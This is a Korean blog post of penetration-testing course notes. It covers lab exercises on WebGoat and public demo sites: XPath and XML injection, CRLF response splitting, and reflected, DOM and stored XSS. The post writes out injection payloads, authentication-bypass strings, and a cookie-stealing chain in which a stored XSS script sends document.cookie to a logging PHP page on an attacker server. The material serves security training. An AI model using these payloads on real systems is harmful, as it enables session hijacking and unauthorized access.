블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

공지사항

태그목록

최근에 올라온 글

⑤ XML Xpath 취약점에 대한 기초적인 점검


(주의) Proxy 탭 > Intercept 탭 > Intercept is on 선택(uncheck => intercept is off)


웹 브라우저(http://demo.testfire.net/bank/login.aspx)에서 다음과 같은 테스트를 진행한다.

ID/PASS 입력 후 로그인한다.(ID/PASS : admin/admin)


왼쪽 메뉴 중 "Search News Articles" 선택한다.




입력 : Unix

-> 정상화면이 출력된다.



입력 : Unix'

-> (주의) 에러메세지는 반드시 메모장에 복사하고 붙여서 분석하여야 한다.

-> 에러메세지:

'string(/news/publication[contains(title,'Unix'') and (isPublic/text()='True')]/title/text())' has an invalid token.






입력: Unix' or

-> 에러메세지 :

'string(/news/publication[contains(title,'Unix' or') and (isPublic/text()='True')]/title/text())' has an invalid token.



입력: Unix' or 1=1

-> 에러메세지:

'string(/news/publication[contains(title,'Unix' or 1=1') and (isPublic/text()='True')]/title/text())' has an invalid token.









입력: Unix' or '1=1

-> 원래는 정상적인 화면이 나온다. 따라서 구문이 완성이 되었다.



테스트한 결과를 정리해 보면 다음과 같다.

Unix

(정상) 

Unix'

(에러) 'string(/news/publication[contains(title,'Unix'') and (isPublic/text()='True')]/title/text())'

Unxi' or

(에러) 'string(/news/publication[contains(title,'Unix' or') and (isPublic/text()='True')]/title/text())'

Unix' or 1=1

(에러) 'string(/news/publication[contains(title,'Unix' or 1=1') and (isPublic/text()='True')]/title/text())'

Unix' or '1=1

(정상) 'string(/news/publication[contains(title,'Unix' or '1=1') and (isPublic/text()='True')]/title/text())'






[실습] XPath Injection을 통한 사용자 정보 추출 과정


XPath Injection을 이용한 사용자 정보 추출 과정에 대해 배운다.


        ■ OWASP 10대 취약점을 테스트 하기 위한 Web Server(WAS)

           - DVWA

           - WebGoat


(준비) WebGoat 5.4 버전


■ WebGoat 프로그램 다운로드 사이트(WebGoat 5.4)

http://code.google.com/p/webgoat/downloads/list


■ WebGoat 프로그램 설치

- 자바 1.4.1 이상의 버전 설치

- 시스템 환경 변수 설정

- WebGoat 설치(압축해제)

  -> 압축을 해제하고 안에 들어 있는 webgoat_8080을 실행하면 된다.


■ WebGoat 5.4 버전 종류와 포트 사용

webgoat         80 포트를 사용한다.

webgoat_8080     8080 포트를 사용한다.




이전 실습 과정에 연속된 과정이다.


① WebGoat 5.4 설정 파일 수정 및 실행


        (주의) 반드시 Web Proxy 설정을 uncheck 한다.


■ WebGoat 설정 파일 수정

WebGoat 설치 디렉토리 안의 conf 디렉토리안에 설정 파일이 존재하고 이 파일을 수정한다.

- WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\conf\server_8080.xml

[수정전]

         <Connector address="127.0.0.1" port="8080" maxHttpHeaderSize="8192"

               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"

               enableLookups="false" redirectPort="8443" acceptCount="100"

               connectionTimeout="20000" disableUploadTimeout="true"

               allowTrace="true" />

[수정후]

         <Connector address="192.168.10.202" port="8080" maxHttpHeaderSize="8192"

               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"

               enableLookups="false" redirectPort="8443" acceptCount="100"

               connectionTimeout="20000" disableUploadTimeout="true"

               allowTrace="true" />

-> 자신의 IP로 변경한다.


■ WebGoat를 바탕화면에 아이콘으로 만들고 실행한다.


WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\webgoat_8080.bat -> 바탕화면에 바로가기 아이콘


바탕화면에 존재하는 webgoat_8080.bat 실행한다.


■ WebGoat 실행 확인

C:\Users\soldesk>netstat -a | findstr 8080

  TCP    127.0.0.1:8080         soldesk-PC:0           LISTENING




② WegGoat 접속


웹브라우저에 http://192.168.10.202:8080/WebGoat/attack 접속한다.

        ID/PASS : guest/guest


접속한 이후에 Start WebGoat 선택한다.


③ XPath Injection 실습을 위해 적당한 메뉴을 선택


왼쪽 중간의 Injection Flaws 선택 > XPATH Injection 선택


④ 제공된 계정 및 암호(Mike/test123)을 이용하여 로그인


제공된 계정(Mike)와 암호(test123)을 이용하여 로그인한다.


⑤ XML XPath Injection 가능 여부 확인


User Name 입력 란에 Mike 뒤에 특수문자(')을 입력하고 로그인해 본다.

-> 에러 메세지가 나오고 사용자 계정/비밀번호가 일치하지 않는다는 메세지을 출력하고 있다.

-> 에러 메세지:

   Error generating org.owasp.webgoat.lessions.XPATHInjection


⑥ 인증 우회 시도


위 ⑤번의 웹페이지에 대한 XML 데이터가 다음과 같다고 가정해 본다.

-------------------------------------------------------

<database>

        <user_list>

                <username>admin</username>

                <password>none</password>

                <account>Administrator</account>

        </user_list>

</database>

-------------------------------------------------------


위와 같은 XML 데이터에 접근하는 XPath 표현식은 아래와 같이 될것이다.

string(//user_list[username/text()='admin' and password/text()='none']/account/text())


인증을 우회하는 일반적인 패턴인 아래와 같은 형식을 사용한다면

        인증 우회에 사용되는 일반적인 패턴 : a' or '1' = '1

        XPath 표현식:

                string(//user_list[username/text()='a' or '1' = '1' and password/text()='a'

                or '1' = '1']/account/text())


WebGoat으로 돌아와서 인증 우회을 위한 시도를 한다.

        User name: a' or '1=1

        Password : a' or '1=1

-> 정상적으로 로그인 되는 것을 확인할 수 있다.



[실습] XML Injection 데이터 변조 실습


(study) 사용자를 추가하는 다음과 같은 XML 구조가 있다고 가정해 보자.


http://www.xxx.com/addUser.php?uname=aackc&pwd=0005&mail=aackc@example.com

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

        <user>

                <uname>angle</uname>

                <pwd>12345</pwd>

                <uid>0</uid>

                <mail>angel@example.com</mail>

        </user>

        <user>

                <uname>devel</uname>

                <pwd>55555</pwd>

                <uid>500</uid>

                <mail>devel@example.com</mail>

        </user>

</users>


위와 같은 구조를 가지고 있다면 아래와 같은 URL 요청을 통해 새로운 사용자의 추가가 가능할 것이다.


http://www.xxx.com/addUser.php?Uname=aackc&pwd=0005&mail=aackc@example.com</mail></user>

<user><uname>kth</uname><pwd>555</pwd><uid>0</uid><mail>kth@example.com</mail>

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

        <user>

                <uname>angle</uname>

                <pwd>12345</pwd>

                <uid>0</uid>

                <mail>angel@example.com</mail>

        </user>

        <user>

                <uname>devel</uname>

                <pwd>55555</pwd>

                <uid>500</uid>

                <mail>devel@example.com</mail>

        </user>

        <user>

                <uname>kth</uname>

                <pwd>555</pwd>

                <uid>0</uid>

                <mail>kth@example.com</mail>

        </user>

</users>





위와 같은 이론을 WebGoat에서 실습해 보자.


① WebGoat에서 XML Injection 선택


WebGoat 왼쪽 메뉴 중간에 AJAX Security 하단의 XML Injection 선택


② 미리 제공된 사용자 계정 ID(836239)를 입력

-> 하단 부분에 마일리지와 그 마일리지를 사용하여 보상 받을 수 있는 제품을 출력해 준다.





③ Burp Suite 사용하여 XML 데이터 변조 시도


(가정) Burp Suite 켜져 있는 상태라고 가정한다.


Burp Suite에서

        Proxy 탭 > Options 탭 >

                [ V ] intercept Client Request

                [ V ] intercept Server Response

        Proxy 탭 > Intercept 탭 > intercept is off 선택(check => intercept is on)


웹브라우저에서 사이트(http://192.168.10.202:8080/WebGoat/attack?Screen=59&menu=400)에 미리 입력된 값(836239)을 적는다.


Burp Suite 에서 다음과 같은 화면을 볼수 있고 Forward을 선택한다.


Forward를 선택하고 나면 다음과 같은 화면을 볼수 있다.




다음과 같은 내용을 추가로 입력한다.

-> 추가된 내용

        <root>

        <reward>WebGoat Mug 20 Pts</reward>

        <reward>WebGoat t-shirt 50 Pts</reward>

        <reward>WebGoat Secure Kettle 30 Pts</reward>

        <reward>WebGoat Core Duo Laptop 2000 Pts</reward>

        <reward>WebGoat Hawaii Cruise 3000 Pts</reward>

        </root>


위의 내용을 입력한 후 Forward를 선택하고 웹브라우저에서 확인한다.

-> 내용이 늘어난것을 확인할 수 있다.





(원복)

Burp Suite 종료

[과제] 소스 코드 Injection에 대한 문서화 작업을 진행한다.(시간 : 1시간)

목표: 소스 코드 수정 가능한 사이트를 검색하고 문서화 작업을 진행한다.





다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 3 장   HTTP 응답분할(CRLF Injection)








[실습] CRLF Injection


CRLF(Carriage Return and Line Feed) Injection
= HTTP Response Splitting Attack
= \r\n (%0A%0D)

CRLF란?
Carriage Return & Line Feed을 사용하여 Response Header/Body에 특정 헤더 정보를 삽입하는 공격 방법이다.



(가정) 

paros 켜져 있는 상태라고 가정한다.

웹브라우저는 paros proxy를 지정하고 있다고 가정한다.

APM 기동 중이라고 가정한다.(서비스명: APM_APACHE2, APM_MYSQL5)




① CRLF 테스트를 위한 소스 코드 다운로드 및 웹 사이트 구축


■ CRLF 테스트를 위한 소스코드 다운로드

- http://cafe.naver.com/sec 카페에서 "테스트PHP.ZIP" 파일을 다운로드(공유디렉토리 참고)


■ 다운로드한 "테스트PHP.ZIP" 파일을 C:\APM_Setup\htdocs 디렉토리에 푼다.


■ 웹브라우저로 웹페이지 확인(http://192.168.10.202/index.html)

-> 웹서버의 메인 페이지가 보이게 될것이다.

-> http://192.168.10.202/index.html

③ 타겟에 대한 정보 수집


■ 웹브라우저에서 CRLF 선택해 본다.


■ 다음과 같이 특별한 결과가 나오지 않는다.

-> 위의 URL을 보면 http://192.168.10.202/crlf.php?page=ffff 라고 되어있다.

-> 실제 이 페이지(ffff)가 존재하지 않는것 같다.



④ 웹요청에 대해 paros을 통해 분석


paros 화면에서 GET:crlf.php(page) 부분을 선택하고 Request 탭을 선택한다.

-> HTTP Request 와 HTTP Response 부분을 확인하고 분석한다.

-> 페이지의 HTTP Request 정보를 확인하면 다음과 같다.

----------------------------------------------------------------------------------

GET http://192.168.10.202/crlf.php?page=ffff HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: http://192.168.10.202/index.html

Accept-Language: ko-KR

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Paros/3.2.13

Host: 192.168.10.202

Proxy-Connection: Keep-Alive

----------------------------------------------------------------------------------


-> 페이지의 HTTP Response 정보를 확인하면 다음과 같다.

------------------------------------------

HTTP/1.1 302 Found

Date: Thu, 11 Jun 2015 06:22:52 GMT

Server: Apache

Location: ffff

Content-Length: 0

Content-Type: text/html

------------------------------------------

-> 입력받은 ffff 같을 Location 부분의 값으로 받아들인다는 것을 알수 있고 ffff 라는 페이지가 없

   기 때문에 출력이 없는것 같다.

-> 따라서, ffff 값 대신에 로컬에 존재하는 파일이름을 지정하게 되면 지정된 파일을 내용으로

   Forwarding 될것이다.


        [참고] 원본 소스 코드(crlf.php)

        ---------------------------------------------------

        <?php

        header ("Location: " .  $_GET['page']);

        echo $page;

        ?>

        ---------------------------------------------------

        -> 원본 소스코드를 보면 page 변수로 입력 받은 값을 header 부분에 Location 지시자를 통

            해 지정하도록 되어 있다.

        -> 따라서, 입력한 page 변수에 들어갈 값이 어떤 값인지는 점검하는 부분이 없기 때문에

            아무 페이지나 지정하여 볼수 없는 페이지들을 확인할 수 있게 된다.






⑥ 악의적인 웹요청

웹쪽에서 URL을 변경하여 요청해 본다.

http://192.168.10.202/crlf.php?page=%0D%0A%20index.html

-> index.html 파일이 보이는것을 확인할 수 있다.

-> 웹서버 내부의 어떤 파일에 대해서도 Forwarding 되어 확인할 수 있다는것을 알수 있다.

-> %OD%0A = CRLF


웹쪽에서 URL을 변경하여 요청해 본다.

http://192.168.10.202/crlf.php?page=%0D%0A%20http://www.daum.net

-> 다음(DAUM) 페이지가 보이는것을 확인할 수 있다.




⑦ 같은 작업을 paros쪽에서 수행해 보자.

paros > Trap > [ V ] Trap Request


웹브라우저에서 페이지를 요청해 본다.

http://192.168.10.202/crlf.php?page=ffff (메인 페이지에서 crlf를 선택해도 된다.)


paros을 Trap 탭을 선택하여 일부 정보를 변경하고 continue을 선택한다.

[변경전] http://192.168.10.202/crlf.php?page=ffff

[변경후] http://192.168.10.202/crlf.php?page=http://www.daum.net

-> www.daum.net 사이트는 여러개의 사이트와 연동하기 때문에 continue을 여러번 선택해야 웹브라우

   저 페이지를 정상적으로 볼수 있다.




다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 3 장   XSS(Cross Site Scripting)








XSS 종류

----------------------------------------------------------------------------------

타입종류         유형                                    취약점 발생위치

----------------------------------------------------------------------------------

Type 0  DOM(Document Object Model) XSS(Local XSS)          사용자측 스크립트

Type 1  Reflected XSS(Non-persistent XSS)                  서버측 스크립트

Type 2  Stored XSS(Persistent XSS, Second Order XSS)         서버측 스크립트

----------------------------------------------------------------------------------



[실습] Reflected XSS(1) - Reflected XSS 공격 가능성 유/무 점검


(가정) paros proxy 끄고 웹브라우저를 proxy 지정을 하지 않은 상태에서 실습한다.


점검 대상 : http://testphp.vulnweb.com

점검 도구 : 웹브라우저



① XSS 점검 대상 사이트에 접속하여 XSS 공격 가능성 점검


http://testphp.vulnweb.com > 왼쪽 상단 메뉴 중 "Search art" 검색란에 다음과 같은 내용을 입력한다.

<script>alert("test")</script>


search art 부분에 XSS 공격 가능 유무 판단 <script> ... </script>을 넣고 go 선택하면 아래와 같은 화면이 나온다.

-> 따라서, Reflected XSS 공격이 가능하다는 것을 확인할 수 있다.

[실습] Reflected XSS(2)


테스트 대상 : WebGoat 5.4

테스트 도구 : 웹브라우저

준비 사항   : xss.jsp 소스코드(http://cafe.naver.com/sec 카페에서 받는다.)


① xss.jsp 파일을 WebGoat 설치된 디렉토리에 넣고 WebGoat을 실행

WebGoat 설치 디렉토리 예: C:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\ROOT


② xss.jsp 파일 분석


예: C:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\ROOT\xss.jsp

<html>

<head>

<meta http.equiv="Content.Type" content="text/html; charset=EUC.KR">

<title>XXXXXX</title>

</head>

<body>

<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>

<%

String name = request.getParameter("name"); // 1번 라인

%>

username : <%=name%> // 2번 라인

</body>

</html>

-> (1번 라인 해석) 사용자 입력값을 name 변수에 저장한다.

-> (2번 라인 해석) 입력받은 name 변수의 내용을 출력한다.

-> 입력값에 대한 점검 부분은 존재하지 않는다. 입력받은 값을 그냥 출력하고 있다.





③ 웹브라우저에서 테스트


        (브라우저 보안 설정) 192.168.10.202 신뢰 할수 있는 사이트로 등록한다.


http://192.168.10.202:8080/xss.jsp?name=<script>alert("test")</script>





[실습] DOM XSS(1) - DOM XSS 취약성 유무 판단 테스트


테스트 대상 : WebGoat 5.4

테스트 도구 : 웹브라우저

준비사항    : xss1.jsp 소스코드


① 소스코드(xss1.jsp) 파일을 WebGoat 설치된 디렉토리에 넣고 WebGoat 실행

예: C:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\ROOT\xss1.jsp


② 소스코드 분석

예: C:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\ROOT\xss1.jsp

<html>

<head>

<meta http.equiv="Content.Type" content="text/html; charset=EUC.KR">

<title>XXXXXX</title>

</head>

<body>

DOM XSS Testing....

<SCRIPT>

var position=document.URL.indexOf("age=")+4; // 1번 라인

document.write(document.URL.substring(position,document.URL.length)); // 2번 라인

</SCRIPT>

</body>

</html>

-> (1번 라인 해석) age 변수가 선언되고 입력을 받으수 있도록 설정되었다.

-> (2번 라인 해석) URL 정보에서 age 변수값을 추출하고 document.write() 함수를 통해 화면에 출력

                   한다.





③ 정상적인 웹 요청과 악의적인 웹요청

정상적인 웹 요청: http://192.168.10.202:8080/xss1.jsp?age=21

악의적인 웹 요청: http://192.168.10.202:8080/xss1.jsp?age=<script>alert("test")</script>


정상적인 웹 요청: http://192.168.10.202:8080/xss1.jsp?age=21


악의적인 웹 요청: http://192.168.10.202:8080/xss1.jsp?age=<script>alert("test")</script>




[실습] DOM XSS(2)


테스트 대상 : WebGoat 5.4

테스트 도구 : 웹브라우저


(가정) paros proxy 꺼져 있는 상태이고 웹브라우저는 proxy 지정이 없는 상태이다.


① 테스트를 위한 WebGoat 메뉴 선택


WebGoat 실행한다.


WebGoat 접속한다.(http://192.168.10.202:8080/WebGoat/attack, ID/PASS: guest/guest)


WebGoat 좌측 메뉴 중 "Ajax Security" 선택하고 "LAB: DOM-Based cross-site-scripting" 선택한다.


② 입력부분에 적당한 내용 입력


Enter you name 부분에 AAAA를 입력한다.

-> 사용자 이름(EX: AAAA)을 입력하면 입력부분의 바로 위에 Hello, AAAA라고 표시가 된다.

-> 이름을 입력 받아서 위쪽에 출력하는것으로 판단이 된다.




③ 공격을 위한 소스 코드 찾기

해당 페이지에 대해서 소스보기(오른쪽 마우스 선택 > 소스보기)를 선택하고 소스 코드 중 435번째 라인의 아래 내용을 복사한다.

 

430431432433

434435436

437

438

439440

 

..... 중략 .....

<tr>

<td><a href="attack?Screen=23&menu=1900">WSDL Scanning</a></td>

</tr>

 

<tr>

<td><a href="attack?Screen=7&menu=1900">Web Service SAX Injection</a></td>

</tr>

 

<tr>

<td><a href="attack?Screen=60&menu=1900">Web Service SQL Injection</a></td>

</tr>

..... 중략 .....

-> 위의 파란색 부분을 복사한다.


Enter your name 부분에 붙이기(CTRL + V) 한다.


복사된 내용을 붙이고 나면 입력부분 바로 상단에 Hello, Web Service SAX Injection 보일것이다. Web Service SAX Injection은 링크이기 때문에 선택한다.


그럼 아래와 같이 다른 사용자의 암호를 변경할 수 있는 화면이 나온다.

-> 다른 사용자 계정의 비밀 번호를 가로챘다는 메세지를 볼수 있다.

-> 이런 방식으로 중요 정보를 가로채어 악용할 수 있다.

다른 사용자 암호를 임의적으로 1234라고 입력한다.

-> 그럼 암호 부분이 101에서 1234로 변경되는 것을 확인할 수 있다.


[수정전]

<?xml version='1.0' encoding='UTF-8'?>

<wsns0:Envelope

  xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'

  xmlns:xsd='http://www.w3.org/2001/XMLSchema'

  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'

  xmlns:wsns1='http://lessons.webgoat.owasp.org'>

  <wsns0:Body>

    <wsns1:changePassword>

      <id xsi:type='xsd:int'>101</id>

      <password xsi:type='xsd:string'>101</password>

    </wsns1:changePassword>

  </wsns0:Body>

</wsns0:Envelope>

[수정후]

<?xml version='1.0' encoding='UTF-8'?>

<wsns0:Envelope

  xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'

  xmlns:xsd='http://www.w3.org/2001/XMLSchema'

  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'

  xmlns:wsns1='http://lessons.webgoat.owasp.org'>

  <wsns0:Body>

    <wsns1:changePassword>

      <id xsi:type='xsd:int'>101</id>

      <password xsi:type='xsd:string'>1234</password>

    </wsns1:changePassword>

  </wsns0:Body>

</wsns0:Envelope>

-> 암호가 변경된것을 확인할 수 있다.






④ 취약점의 원인 찾기


다시 원래 페이지로 이동한다.


"오른쪽 마우스 선택 > 소스보기"를 선택 한후 581 라인으로 이동한다.

<div id="lessonContent"><form accept-charset='UNKNOWN' method='POST' name='form' action='attack?Screen=49&menu=400' enctype=''><script src='javascript/DOMXSS.js' language='JavaScript'></script><script src='javascript/escape.js' language='JavaScript'></script><h1 id='greeting'></h1>Enter your name: <input value='' onKeyUp='displayGreeting(person.value)' name='person' type='TEXT'><br><br><input name='SUBMIT' type='SUBMIT' value='Submit Solution'></form></div>

-> 입력된 값(변수 person)은 displayGreeting() 함수의 패러미터 person.value에 전달되고 있다.


displayGreeting 함수는 DOMXSS.js, escape.js 파일에 들어 있을것이다.

따라서 아래와 같이 웹브라우저로 접속해 본다.

http://192.168.10.202:8080/WebGoat/javascript/DOMXSS.js


파일을 다운로드 받고 저장하여 확인한다. DOMXSS.js 파일을 열어 보면 아래와 같다.

function displayGreeting(name) {

        if (name != ''){

                document.getElementById("greeting").innerHTML="Hello, " + name+ "!";

        }

}


입력하는 부분과 JS 처리부분을 확인하면 다음과 같다.

-----------------------------------------------------------------------------------------

■ 입력부분

<input value='' onKeyUp='displayGreeting(person.value)' name='person' type='TEXT'>


■ JS 처리부분

function displayGreeting(name) {

        if (name != ''){

                document.getElementById("greeting").innerHTML="Hello, " + name+ "!";

        }

}

-----------------------------------------------------------------------------------------

-> 입력된 값 person은 document의 서브 오브젝트(Sub Object)인 innerHTML에 전달되어 하드코딩된

   Hello 문자열 뒤에 person 변수값과 함께 화면에 출력되는 전형적인 XSS 특징을 가진다.

-> 입력된 값에 대한 점검 하는 부분이 없으므로 취약점이 있을것으로 판단이 된다.






[실습] Stored XSS 이용한 쿠기 가로채기


테스트 대상 : WebGoat 5.4

테스트 도구 : 웹브라우저

준비사항    : Cooxie 설치, 소스코드 test.php 파일


일반적으로 쿠기를 가로채는 절차는 다음과 같다.

(1) 공격자는 웹서버의 게시판에 XSS 코드를 삽입하고 해당 글 클릭을 유도한다.

(2) 일반 사용자가 웹서버의 XSS 코드가 포함된 글을 열람한다.

(3) XSS 코드에 의해 사용자의 쿠기(세션)값이 공격자에게 전달된다.

(4) 전달된 쿠기(세션)값을 자신의 것처럼 세팅하여 타인의 권한으로 작업한다.



① 준비 사항


(가정) APM_MYSQL5, APM_APCHE2 서비스가 start 되어 있다고 가정한다.

(가정) WebGoat 5.4 8080 기동되어 있다고 가정한다.


        ■ Cooxie 다운로드 및 설치

        ■ 소스코드 test.php 파일을 WebGoat 디렉토리에 넣기



■ Cooxie 다운로드 사이트

Cooxie 툴바는 쿠기값을 수정/변경 해주는 프로그램이다.

다음 사이트에서 다운로드 받을수 있다.
- http://www.diodia.com/download.htm (자신의 IE 버전에 맞는 프로그램 다운로드)


■ Cooxie 설치

- 기본값으로 설치한다. 특별한 설정은 없다.


Cooxie을 설치하고 실행이 되면 다음과 같은 화면이 나온다.

-> 필요하면 웹브라우저를 다시 실행할수도 있다.


■ 소스코드 test.php 파일을 WebGoat 디렉토리에 넣기

test.php 파일을 APM 기본설치 위치인 htdocs 디렉토리에 넣는다.


test.php 파일

<?php

$f = fopen("log.txt", 'a');

fwrite($f, date("Y-m-d H:i:s"). " ");

fwrite($f, $_SERVER["REMOTE_ADDR"]. " ");

fwrite($f, $_SERVER["REQUEST_URI"],"\n");

fclose($f);

header("Location: http://cafe.naver.com/sec");

?>

-> 쿠키를 저장하기 위해서 log.txt 파일 만들고, 날짜(date()), 접속자 IP(REMOTE_ADDR), 접속 페이
   지(REQUEST_URI, 쿠키값이 같이 전달된다.)를 log.txt 파일에 저장한다.

-> 정상적인 사이트인것처럼 속이기 위해서 cafe.naver.com/sec 사이트가 오픈되도록 구성되었다.

test.php 파일을 C:\APM_Setup\htdocs 디렉토리에 넣는다.


② WebGoat 메뉴 선택


취약한 설정을 가지고 있는 WebGoat 메뉴을 선택한다.

- WebGoat > Cross-Site-Scripting(XSS) > Cross Site Request Forgery(CSRF)






③ 취약점 공격


상단 메뉴 중 Show Cookies를 선택하면 상단 화면에 JSESSIONID라는 값을 보여준다.


해당 값이 로그인 이후에 발급되는 사용자의 고유값(세션 값)이라고 가정하고 해당 값을 가로채서 공격자 웹서버에 log.txt 저장해 보자.

해당 쿠키가로채기 기법에서는 로그인 이후에 발급된 쿠키 값을 공격자가 가로채는 기법이기 때문에 Cooxie 등의 툴에 쿠키값이 보여야 하나, 해당 사이트의 보안설정 등으로 보이지 않기 때문에 조금 전에 확인되 JSESSIONID 값을 Cooxie 툴바에 강제로 넣고 테스트를 한다.


JSESSIONID 값을 복사하여 Cooxie 툴바의 Edit Cookie를 선택하고 해당 값을 넣고 Set 선택한다.





취약한 게시판인 WebGoat의 Cross Site Request Forgery 메뉴 게시판에 아래의 공격코드를 넣는다.

-----------------------------------------------------

<script language="JavaScript">

window.location=http://192.168.10.202/test.php?"+document.cookie;

</script>

----------------------------------------------------


공격용 코드를 넣고 Submit 선택하면 아래와 같이 to admin 부분이 생기게 된다.


to admin 부분을 선택하면





XML_Injection_윤진식.hwp


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160901 프로젝트#5  (0) 2016.09.07
20160831 파일업로드 취약점  (0) 2016.09.01
20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160826 웹보안  (0) 2016.08.27
20160825 웹보안  (0) 2016.08.25
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함